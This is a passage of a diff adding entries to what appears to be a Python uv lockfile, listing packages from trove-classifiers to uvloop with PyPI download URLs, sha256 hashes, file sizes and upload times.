+sdist = { url = "https://files.pythonhosted.org/packages/d8/43/7935f8ea93fcb6680bc10a6fdbf534075c198eeead59150dd5ed68449642/trove_classifiers-2026.1.14.14.tar.gz", hash = "sha256:00492545a1402b09d4858605ba190ea33243d361e2b01c9c296ce06b5c3325f3", size = 16997, upload-time = "2026-01-14T14:54:50.526Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/bb/4a/2e5583e544bc437d5e8e54b47db87430df9031b29b48d17f26d129fa60c0/trove_classifiers-2026.1.14.14-py3-none-any.whl", hash = "sha256:1f9553927f18d0513d8e5ff80ab8980b8202ce37ecae0e3274ed2ef11880e74d", size = 14197, upload-time = "2026-01-14T14:54:49.067Z" },
+]
+
+[[package]]
+name = "truststore"
+version = "0.10.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
+]
+
+[[package]]
+name = "ty"
+version = "0.0.55"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" },
+    { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" },
+    { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" },
+    { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" },
+    { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = "2026-06-27T00:27:27.332Z" },
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.15.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
+]
+
+[[package]]
+name = "typing-inspection"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" },
+]
+
+[[package]]
+name = "userpath"
+version = "1.9.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "click" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d5/b7/30753098208505d7ff9be5b3a32112fb8a4cb3ddfccbbb7ba9973f2e29ff/userpath-1.9.2.tar.gz", hash = "sha256:6c52288dab069257cc831846d15d48133522455d4677ee69a9781f11dbefd815", size = 11140, upload-time = "2024-02-29T21:39:08.742Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/43/99/3ec6335ded5b88c2f7ed25c56ffd952546f7ed007ffb1e1539dc3b57015a/userpath-1.9.2-py3-none-any.whl", hash = "sha256:2cbf01a23d655a1ff8fc166dfb78da1b641d1ceabf0fe5f970767d380b14e89d", size = 9065, upload-time = "2024-02-29T21:39:07.551Z" },
+]
+
+[[package]]
+name = "uuid-utils"
+version = "0.14.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7b/d1/38a573f0c631c062cf42fa1f5d021d4dd3c31fb23e4376e4b56b0c9fbbed/uuid_utils-0.14.1.tar.gz", hash = "sha256:9bfc95f64af80ccf129c604fb6b8ca66c6f256451e32bc4570f760e4309c9b69", size = 22195, upload-time = "2026-02-20T22:50:38.833Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/43/b7/add4363039a34506a58457d96d4aa2126061df3a143eb4d042aedd6a2e76/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:93a3b5dc798a54a1feb693f2d1cb4cf08258c32ff05ae4929b5f0a2ca624a4f0", size = 604679, upload-time = "2026-02-20T22:50:27.469Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/84/d1d0bef50d9e66d31b2019997c741b42274d53dde2e001b7a83e9511c339/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:ccd65a4b8e83af23eae5e56d88034b2fe7264f465d3e830845f10d1591b81741", size = 309346, upload-time = "2026-02-20T22:50:31.857Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/ed/b6d6fd52a6636d7c3eddf97d68da50910bf17cd5ac221992506fb56cf12e/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b56b0cacd81583834820588378e432b0696186683b813058b707aedc1e16c4b1", size = 344714, upload-time = "2026-02-20T22:50:42.642Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/a7/a19a1719fb626fe0b31882db36056d44fe904dc0cf15b06fdf56b2679cf7/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bb3cf14de789097320a3c56bfdfdd51b1225d11d67298afbedee7e84e3837c96", size = 350914, upload-time = "2026-02-20T22:50:36.487Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/fc/f6690e667fdc3bb1a73f57951f97497771c56fe23e3d302d7404be394d4f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:60e0854a90d67f4b0cc6e54773deb8be618f4c9bad98d3326f081423b5d14fae", size = 482609, upload-time = "2026-02-20T22:50:37.511Z" },
+    { url = "https://files.pythonhosted.org/packages/54/6e/dcd3fa031320921a12ec7b4672dea3bd1dd90ddffa363a91831ba834d559/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce6743ba194de3910b5feb1a62590cd2587e33a73ab6af8a01b642ceb5055862", size = 345699, upload-time = "2026-02-20T22:50:46.87Z" },
+    { url = "https://files.pythonhosted.org/packages/04/28/e5220204b58b44ac0047226a9d016a113fde039280cc8732d9e6da43b39f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:043fb58fde6cf1620a6c066382f04f87a8e74feb0f95a585e4ed46f5d44af57b", size = 372205, upload-time = "2026-02-20T22:50:28.438Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/d9/3d2eb98af94b8dfffc82b6a33b4dfc87b0a5de2c68a28f6dde0db1f8681b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c915d53f22945e55fe0d3d3b0b87fd965a57f5fd15666fd92d6593a73b1dd297", size = 521836, upload-time = "2026-02-20T22:50:23.057Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/15/0eb106cc6fe182f7577bc0ab6e2f0a40be247f35c5e297dbf7bbc460bd02/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:0972488e3f9b449e83f006ead5a0e0a33ad4a13e4462e865b7c286ab7d7566a3", size = 625260, upload-time = "2026-02-20T22:50:25.949Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/17/f539507091334b109e7496830af2f093d9fc8082411eafd3ece58af1f8ba/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:1c238812ae0c8ffe77d8d447a32c6dfd058ea4631246b08b5a71df586ff08531", size = 587824, upload-time = "2026-02-20T22:50:35.225Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/c2/d37a7b2e41f153519367d4db01f0526e0d4b06f1a4a87f1c5dfca5d70a8b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:bec8f8ef627af86abf8298e7ec50926627e29b34fa907fcfbedb45aaa72bca43", size = 551407, upload-time = "2026-02-20T22:50:44.915Z" },
+    { url = "https://files.pythonhosted.org/packages/65/36/2d24b2cbe78547c6532da33fb8613debd3126eccc33a6374ab788f5e46e9/uuid_utils-0.14.1-cp39-abi3-win32.whl", hash = "sha256:b54d6aa6252d96bac1fdbc80d26ba71bad9f220b2724d692ad2f2310c22ef523", size = 183476, upload-time = "2026-02-20T22:50:32.745Z" },
+    { url = "https://files.pythonhosted.org/packages/83/92/2d7e90df8b1a69ec4cff33243ce02b7a62f926ef9e2f0eca5a026889cd73/uuid_utils-0.14.1-cp39-abi3-win_amd64.whl", hash = "sha256:fc27638c2ce267a0ce3e06828aff786f91367f093c80625ee21dad0208e0f5ba", size = 187147, upload-time = "2026-02-20T22:50:45.807Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/26/529f4beee17e5248e37e0bc17a2761d34c0fa3b1e5729c88adb2065bae6e/uuid_utils-0.14.1-cp39-abi3-win_arm64.whl", hash = "sha256:b04cb49b42afbc4ff8dbc60cf054930afc479d6f4dd7f1ec3bbe5dbfdde06b7a", size = 188132, upload-time = "2026-02-20T22:50:41.718Z" },
+    { url = "https://files.pythonhosted.org/packages/91/f9/6c64bdbf71f58ccde7919e00491812556f446a5291573af92c49a5e9aaef/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:b197cd5424cf89fb019ca7f53641d05bfe34b1879614bed111c9c313b5574cd8", size = 591617, upload-time = "2026-02-20T22:50:24.532Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/f0/758c3b0fb0c4871c7704fef26a5bc861de4f8a68e4831669883bebe07b0f/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:12c65020ba6cb6abe1d57fcbfc2d0ea0506c67049ee031714057f5caf0f9bc9c", size = 303702, upload-time = "2026-02-20T22:50:40.687Z" },
+    { url = "https://files.pythonhosted.org/packages/85/89/d91862b544c695cd58855efe3201f83894ed82fffe34500774238ab8eba7/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b5d2ad28063d422ccc2c28d46471d47b61a58de885d35113a8f18cb547e25bf", size = 337678, upload-time = "2026-02-20T22:50:39.768Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/6b/cf342ba8a898f1de024be0243fac67c025cad530c79ea7f89c4ce718891a/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da2234387b45fde40b0fedfee64a0ba591caeea9c48c7698ab6e2d85c7991533", size = 343711, upload-time = "2026-02-20T22:50:43.965Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/20/049418d094d396dfa6606b30af925cc68a6670c3b9103b23e6990f84b589/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50fffc2827348c1e48972eed3d1c698959e63f9d030aa5dd82ba451113158a62", size = 476731, upload-time = "2026-02-20T22:50:30.589Z" },
+    { url = "https://files.pythonhosted.org/packages/77/a1/0857f64d53a90321e6a46a3d4cc394f50e1366132dcd2ae147f9326ca98b/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1dbe718765f70f5b7f9b7f66b6a937802941b1cc56bcf642ce0274169741e01", size = 338902, upload-time = "2026-02-20T22:50:33.927Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/d0/5bf7cbf1ac138c92b9ac21066d18faf4d7e7f651047b700eb192ca4b9fdb/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:258186964039a8e36db10810c1ece879d229b01331e09e9030bc5dcabe231bd2", size = 364700, upload-time = "2026-02-20T22:50:21.732Z" },
+]
+
+[[package]]
+name = "uv"
+version = "0.11.15"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/da/34/609d5d01ba21dc8f0974610ca7802fbb2c946a0c38665cfe5c5aeddbefb5/uv-0.11.15.tar.gz", hash = "sha256:755f959ec6a2fd8ccb6ee76ad90ab759d2eb1f4797444078645dd1ee4bca92d6", size = 4159545, upload-time = "2026-05-18T19:57:48.133Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a6/7c/dcc230c5911884d8848145dabcac8fb95a5ed6f9fe1c57fae8242618f28a/uv-0.11.15-py3-none-linux_armv6l.whl", hash = "sha256:83b04ab49514a0a761ffedb36a748ee81f87746671e72088e5f32c9585e5f1a9", size = 23110183, upload-time = "2026-05-18T19:57:23.051Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/f3/efd4e044b60eb9c3c12ee386be098d56c335538ccec7caa49349cfba9344/uv-0.11.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b6cae61f737be075b90be9e3f07d961072aed7019f4c9b8ed5c5d41c4d6cade3", size = 22637941, upload-time = "2026-05-18T19:57:26.752Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/b8/48627f895a1569e576822e0a8416aa4797eb4a4551de21a4ad97b9b5819d/uv-0.11.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:9accae33619a9166e5c48531deb455d672cfb89f9357a00975e669c76b0bd49f", size = 21258803, upload-time = "2026-05-18T19:57:05.473Z" },
+    { url = "https://files.pythonhosted.org/packages/af/50/4bc8a148274feabee2d9c9f1fa15009e10c0228dfe57981ee3ea2ef1d481/uv-0.11.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:c0cf52cd6d50bb9e05e2d968f45f80761107e4cbc8d4a26d9758f9d8274aaec1", size = 23066178, upload-time = "2026-05-18T19:57:33.058Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/56/139fc3bec9a8b0a25bfe2196123adb9f16124da437bf4fbcf0d21cfcafb2/uv-0.11.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.musllinux_1_1_armv7l.whl", hash = "sha256:49dc6ed70bff00937384f96cdc4b1a4742d18e5504ec2c4a1214dba2dee5687a", size = 22705332, upload-time = "2026-05-18T19:57:36.714Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/b0/b18b3dd204f8c213236a1ebd148e009861637129a8cce34df0e9aa22ed40/uv-0.11.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:adb9a89352539fdd8f7cd5f9966cf9f94fc5b98e0ccdf5003a04123dc6423bec", size = 22707534, upload-time = "2026-05-18T19:58:04.117Z" },
+    { url = "https://files.pythonhosted.org/packages/76/36/3ca09f95572df99d361b49c96b1297149e96e120d8d1ecf074095a4b6da4/uv-0.11.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40ff67e3f8e8a7533781a2e892a534975a93acb83ea35460e64e7b2bf2111774", size = 24096607, upload-time = "2026-05-18T19:58:11.625Z" },
+    { url = "https://files.pythonhosted.org/packages/64/be/3bdee21a296bbf5336a526e3613d0e7d4538dacc39c62d7fcba55d15f6b0/uv-0.11.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c6463a299ed7e6b5a800ed6f108af8e1588352629424133ddef7572b0e1e1118", size = 25082562, upload-time = "2026-05-18T19:57:40.69Z" },
+    { url = "https://files.pythonhosted.org/packages/cd/73/f371f3689ffe741066468d001d85f739fc4b5574de83b639ef19b5e8a7f4/uv-0.11.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:68c1e62d4b78578b90b833553286b65d6a7e327537716441068583ba652ec4f5", size = 24253391, upload-time = "2026-05-18T19:57:18.47Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/16/fe392d618af6b00c064b3e718d585dcf791546a77c5123a5bec07ce53a0a/uv-0.11.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:98edf1bdaf82447014852051d93e3ee95012509c567bf057fd117e6bdbd9a807", size = 24415871, upload-time = "2026-05-18T19:58:19.651Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/24/2e92a052fb6334fcd746d1c7cb57847c204b118c84f5da53c0f9e129f7b7/uv-0.11.15-py3-none-manylinux_2_28_aarch64.whl", hash = "sha256:be8f76d25bcf4c92bb384240ac1bf9aa7f51063d0bdeca4c9cf0ec3ed8b145e0", size = 23159007, upload-time = "2026-05-18T19:57:10.653Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/2e/6923d0658d164bb2c435ed1868aa2d49b3074594679917a001ff92dc95bb/uv-0.11.15-py3-none-manylinux_2_31_riscv64.musllinux_1_1_riscv64.whl", hash = "sha256:f9f4fbbf4fe485522054f3c7496c6e8e932d6436e4200ff3daf718db0b7c7bd5", size = 23769385, upload-time = "2026-05-18T19:58:15.856Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/99/7e34cd949e57360814e8064cc9fb7104df445d0f6a663504e5f7473480aa/uv-0.11.15-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:0ed920e896b2fd13a35031707e307e42fbb2681458b967440a17272d86d49137", size = 23860973, upload-time = "2026-05-18T19:57:55.575Z" },
+    { url = "https://files.pythonhosted.org/packages/28/98/8fe1f5f9d816e94569a0298dd8e0936801097625fa1952162951f0d628b6/uv-0.11.15-py3-none-musllinux_1_1_i686.whl", hash = "sha256:41d907611f3e6a13262807fd7f0a17849f76285ca80f536f6b3943732bdc6656", size = 23431392, upload-time = "2026-05-18T19:57:59.814Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/6b/76a1ce2fa860026913a5941700cdc7d715fce9c3277a3fa3489cf2523ca0/uv-0.11.15-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:e3b68f8bf1a4568710f77e5bda9182ce7682811d89a8e7468c22460e032b234d", size = 24519478, upload-time = "2026-05-18T19:57:51.165Z" },
+    { url = "https://files.pythonhosted.org/packages/43/60/1d58e8a05718cb50494763115710b73846cacb651fd735d285233fd72c59/uv-0.11.15-py3-none-win32.whl", hash = "sha256:8e2da3076761086a5b76869c3f38ef0509c836046ef41ddd19485dfd7271dca9", size = 22020178, upload-time = "2026-05-18T19:58:07.64Z" },
+    { url = "https://files.pythonhosted.org/packages/55/53/40fcefcb348af660488597ed3c01363df7344e60611f8883750dc596f5c6/uv-0.11.15-py3-none-win_amd64.whl", hash = "sha256:cc3915ab291a1ecaf31de05f5d8bd70d09c66fe9911a53f70d9efa62ff0dbd8a", size = 24668779, upload-time = "2026-05-18T19:57:44.894Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/7d/fa3a9960c95af9bbe2a629048760d0b9b4fead8ccd4f2235af747ec7cdf0/uv-0.11.15-py3-none-win_arm64.whl", hash = "sha256:4f39426a13dee24897aed60c4b98058c66f18bd983885ac5f4a54a04b24fbddf", size = 23198178, upload-time = "2026-05-18T19:57:14.68Z" },
+]
+
+[[package]]
+name = "uvicorn"
+version = "0.44.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "click", marker = "python_full_version >= '3.11'" },
+    { name = "h11", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5e/da/6eee1ff8b6cbeed47eeb5229749168e81eb4b7b999a1a15a7176e51410c9/uvicorn-0.44.0.tar.gz", hash = "sha256:6c942071b68f07e178264b9152f1f16dfac5da85880c4ce06366a96d70d4f31e", size = 86947, upload-time = "2026-04-06T09:23:22.826Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b7/23/a5bbd9600dd607411fa644c06ff4951bec3a4d82c4b852374024359c19c0/uvicorn-0.44.0-py3-none-any.whl", hash = "sha256:ce937c99a2cc70279556967274414c087888e8cec9f9c94644dfca11bd3ced89", size = 69425, upload-time = "2026-04-06T09:23:21.524Z" },
+]
+
+[[package]]
+name = "uvloop"
+version = "0.22.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/06/f0/18d39dbd1971d6d62c4629cc7fa67f74821b0dc1f5a77af43719de7936a7/uvloop-0.22.1.tar.gz", hash = "sha256:6c84bae345b9147082b17371e3dd5d42775bddce91f885499017f4607fdaf39f", size = 2443250, upload-time = "2025-10-16T22:17:19.342Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/eb/14/ecceb239b65adaaf7fde510aa8bd534075695d1e5f8dadfa32b5723d9cfb/uvloop-0.22.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ef6f0d4cc8a9fa1f6a910230cd53545d9a14479311e87e3cb225495952eb672c", size = 1343335, upload-time = "2025-10-16T22:16:11.43Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/ae/6f6f9af7f590b319c94532b9567409ba11f4fa71af1148cab1bf48a07048/uvloop-0.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7cd375a12b71d33d46af85a3343b35d98e8116134ba404bd657b3b1d15988792", size = 742903, upload-time = "2025-10-16T22:16:12.979Z" },
+    { url = "https://files.pythonhosted.org/packages/09/bd/3667151ad0702282a1f4d5d29288fce8a13c8b6858bf0978c219cd52b231/uvloop-0.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac33ed96229b7790eb729702751c0e93ac5bc3bcf52ae9eccbff30da09194b86", size = 3648499, upload-time = "2025-10-16T22:16:14.451Z" },
